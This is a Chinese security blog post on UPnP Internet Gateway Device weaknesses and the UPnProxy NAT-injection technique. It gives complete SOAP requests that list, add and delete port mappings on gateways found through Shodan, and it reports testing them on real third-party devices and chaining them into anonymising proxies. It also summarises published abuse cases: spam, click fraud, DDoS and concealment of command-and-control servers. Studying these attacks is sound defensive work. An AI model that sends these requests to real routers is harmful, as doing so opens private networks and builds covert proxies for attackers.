UPnP 安全（三）：IGD Profile 安全与 UPnProxy

本篇是UPnP安全系列的第三篇，主要对UPnP安全相关的问题进行总结并尝试复现，同时梳理和归纳历史上一些设备UPnP出现的漏洞。

在开始阅读本篇之前，如果不熟悉UPnP的相关观念与工作流程，强烈建议阅读本系列前两篇文章：

• UPnP 安全（一）：UPnP 协议介绍
• UPnP 安全（二）：UPnP 协议具体流程

1. UPnP IGD 配置安全

相关的知识在这里有一个不错的总结： UPnP IGD hacking

1.1 UPnP IGD（Internet Gateway Device）profile

在很多网关（IGD）设备上都具备UPnP的服务，甚至有的设备是默认开启UPnP的，那么其中有一些UPnP的配置就会产生相关的安全问题。

其中两个最主要的配置是:

• LANHostConfigManagement
• WANIPConnection/WANPPPConnection

LANHostConfigManagement：主要用于查询、配置一些网络相关的设置，如DNS, DHCP等。

WANIPConnection/WANPPPConnection：主要用于配置防火墙、NAT表等。

另外需要注意的是，上述两个服务在具体的设备中名称可能有所变化，但是提供的功能是基本相同的。

1.2 LANHostConfigManagement配置 安全问题

该配置主要允许用户设置与查询本地的网络设置，其中一些功能可能会影响安全，如：

• SetDNSServer
• DeleteDNSServer
• SetIPRouter
• DeleteIPRouter

利用这些功能修改设备配置后会产生严重的安全问题。但有一点需要注意的是，现实场景中很多的设备虽然按照标准提供了上述功能，但是实际发包进行修改时会出现各种问题导致修改失败。

1.3 WANIPConnection/WANPPPConnection配置 安全问题

在现实场景中一大批的UPnP设备提供了WANIPConnection/WANPPPConnection服务，主要是方便快速的对NAT、IPtables进行配置，这也是UPnP出现的初衷（可以参考这里UPnP 意义）

为了实现上述操作，UPnP就需要提供如下两个操作：

• AddPortMapping
• DeletePortMapping

顾名思义，这两个操作就是用于增删端口转发的，这两个功能通过发送SOAP数据包而实现。（SOAP的格式可以回顾这里： UPnP工作流程-控制（Control） ）

AddPortMapping

这个功能就是用于添加端口转发的，有下面几个参数：

NewRemoteHost
NewExternalPort
NewProtocol
NewInternalPort
NewInternalClient
NewEnabled
NewPortMappingDescription
NewLeaseDuration

DeletePortMapping

用于删除转发，有下面几个参数：

NewRemoteHost
NewExternalPort
NewProtocol

1.4 实践

那么为了完成上述操作的演示需要找到提供了 WANIPConnection/WANPPPConnection 和 LANHostConfigManagement 功能的IGD设备，这里就可以借助各类网络空间搜索引擎进行查找，例如使用shodan检索关键词： rootDesc.xml ：

可以看到会发现大量UPnP设备的Description XML，通过配合自己编写的脚本就可以发现大量具备上述两个功能的设备。

我们用一个找到的设备举例：

在这个设备中有两个服务：

• urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
• urn:schemas-upnp-org:service:WANIPConnection:1

刚好与我们前面提到的两个配置一致。

WANCommonInterfaceConfig配置 安全问题

访问WANCommonInterfaceConfig的SCPD URL查看具备的功能：

构造SOAP数据包：

POST /ctl/CmnIfCfg HTTP/1.1
Host: x:1900
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: text/xml; charset=utf-8
SOAPACTION: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
Content-Length: 333

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
    <s:Body>
        <u:GetCommonLinkProperties xmlns:u="urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1#GetCommonLinkProperties">
        </u:GetCommonLinkProperties>
    </s:Body>
</s:Envelope>

这里可以看出并没有我们想要的相关信息，如DNS、DHCP等，这个主要和具体设备的实现有关。

NAT表项注入攻击

访问WANCommonInterfaceConfig的SCPD URL查看具备的功能：

在注入NAT表项之前，我们先查看现有的表项：

POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 341
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#GetGenericPortMappingEntry"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body>
    <u:GetGenericPortMappingEntry xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
            <NewPortMappingIndex>0</NewPortMappingIndex>
    </u:GetGenericPortMappingEntry>
    </s:Body>
</s:Envelope>

通过遍历 NewPortMappingIndex 参数即可获取整个NAT表项。可以自己写脚本，也可以使用这个工具： upnpc

接下来我们尝试将该IGD设备的80端口映射到外网的45678端口上：

POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 633
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping">
      <NewExternalPort>45678</NewExternalPort>
      <NewInternalClient>192.168.1.5</NewInternalClient>
      <NewInternalPort>80</NewInternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewPortMappingDescription>upnp_test</NewPortMappingDescription>
      <NewLeaseDuration>1000</NewLeaseDuration>
      <NewEnabled>1</NewEnabled>
      </u:AddPortMapping>
</s:Body>
</s:Envelope>

那么如果该设备如果是在本地80端口有Web服务即可直接在外网访问（遗憾的是这个设备没有在本地80开Web服务，只好用另一个设备的图当作替代的效果）：

可以看出，通过这样的方式相当于打开了内网的大门。甚至我们可以利用UPnP的AddPortMapping这个功能来做一个内网端口扫描器。

删除该端口映射：

POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 425
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping">
      <NewExternalPort>45678</NewExternalPort>
      <NewInternalPort>23</NewInternalPort>
      <NewProtocol>TCP</NewProtocol>
      </u:DeletePortMapping>
</s:Body>
</s:Envelope>

归纳一下，NAT表项注入的整体流程如下：

从Nmap上看效果就是这样：

这两个图片均出自： UPnProxy: Blackhat Proxies via NAT Injections

1.5 小结

通过利用UPnP的上述两个服务，可能造成的安全隐患：

1. 获取网关的敏感信息
2. 修改网关的网络配置，造成DNS、断网等
3. 通过增删NAT表项，造成特定服务断网、内网引入攻击流量等
4. 通过利用NAT表项注入，形成UPnP proxy提供隐蔽流量通道，形成僵尸网络为DDoS服务

在2018年11月28日，Akamai就披露了一起大规模的利用NAT表项注入将内网139、445等samba端口映射到公网然后利用EternalBlue等漏洞攻击内网的事件： UPnProxy: EternalSilence

2. UPnP Proxy

2.1 原理

UPnP proxy其实就是利用UPnP NAT表项注入的技术，将内部地址替换成外部的公网地址从而达到网络代理的效果。其实在2017年10月16日Akamai发布的 UPnP Proxy白皮书 中就介绍的很清楚了：

关键就是在黑色的框中，向NAT表中注入一个外部公网地址和端口。

2.2 实践

首先我在自己的阿里云上开一个Web服务：

就是一个很简单的页面，用于测试是否转发成功。

UPnP Proxy 实验

找到一个具备WANIPConnection服务的UPnP设备，利用AddPortMapping功能注入一个NAT表项：

重点是将 NewInternalClient 和 NewInternalPort 参数设置为我阿里云上Web服务的IP和端口。

然后我们去访问该设备的45678端口：

可以看出成的转发了整个HTTP请求与响应。那么再去看看Web日志：

可以看出完全隐藏了我自己的真实IP。

UPnP Proxy Chain实验

我们再找一个具备同样功能的设备B，注入NAT表项，但是这次的IP和端口应该是前一个UPnP设备WAN的IP和端口即可。

另外要注意的是两个UPnP设备之间要能够相互访问。

2.3 数量统计

在Akamai的 UPnP Proxy白皮书 中有提到他们检测到的具体数据（源自Akamai2017年10月16日的报告）：

• 480W的主机可以被SSDP发现

• 76.5W（总数的16%）的UPnP暴露了他们UPnP服务

  • 这其中又有超过6.5W的设备存在NAT表项注入（至少存在一个指向外部地址）

    • 这其中共计17,599个独立的公网IP
• 向外部转发的TCP端口排名前三位是：53，80，44

2.4 小结

这里结合Akamai发布的 UPnP Proxy白皮书 ，总结一些UPnP Proxy利用方法和拓展。

1. 隐藏身份，躲避流量审查

通过构建多跳的Proxy能够躲过各种流量的审查。（这个大家都懂）

2. 垃圾、钓鱼邮件

发现一些垃圾邮件也是通过这些代理发送出来的。有的转发的终点是一些邮件服务器的25端口。

3. 流量代理公司的点击欺诈

发现其中一些转发终点IP是广告的地址。那么推测这些广告就是一些黑帽小公司注册的广告地址，然后利用Proxy去访问，

这样就能实现多人访问的效果（毕竟源IP都是这些UPnP设备的），从而骗取广告点击收入。

4. DDoS

可以利用这些设备来更好地分发和混淆基于TCP和UDP的DDoS攻击。

由于UDP可以指向任何端口和IP，因此在UDP反射放大攻击中利用UPnP Proxy。此技术可用于代理 memcached 、DNS、CLDAP等常用在UDP DDoS中的协议。利用UPnP Proxy可以将少数的攻击节点伪装为成千上万不同IP的节点。

5. 僵尸网络

可以利用该Proxy进行对如HTTP、SSH、Telnet等服务进行暴力破解。

6. 恶意软件发布和通信

通过串联这些具备NAT转发的设备，能够很好的隐藏原始的IP与发送的内容。

在 Symantec披露的报告中 就披露了一个名为“Inception Framework”的APT组织使用到该技术隐藏自己。该组织使用C2服务器时就利用多级串联的UPnP设备隐藏自己真实的IP地址：

具体详情可以查看Symantec披露的报告： Inception Framework: Alive and Well, and Hiding Behind Proxies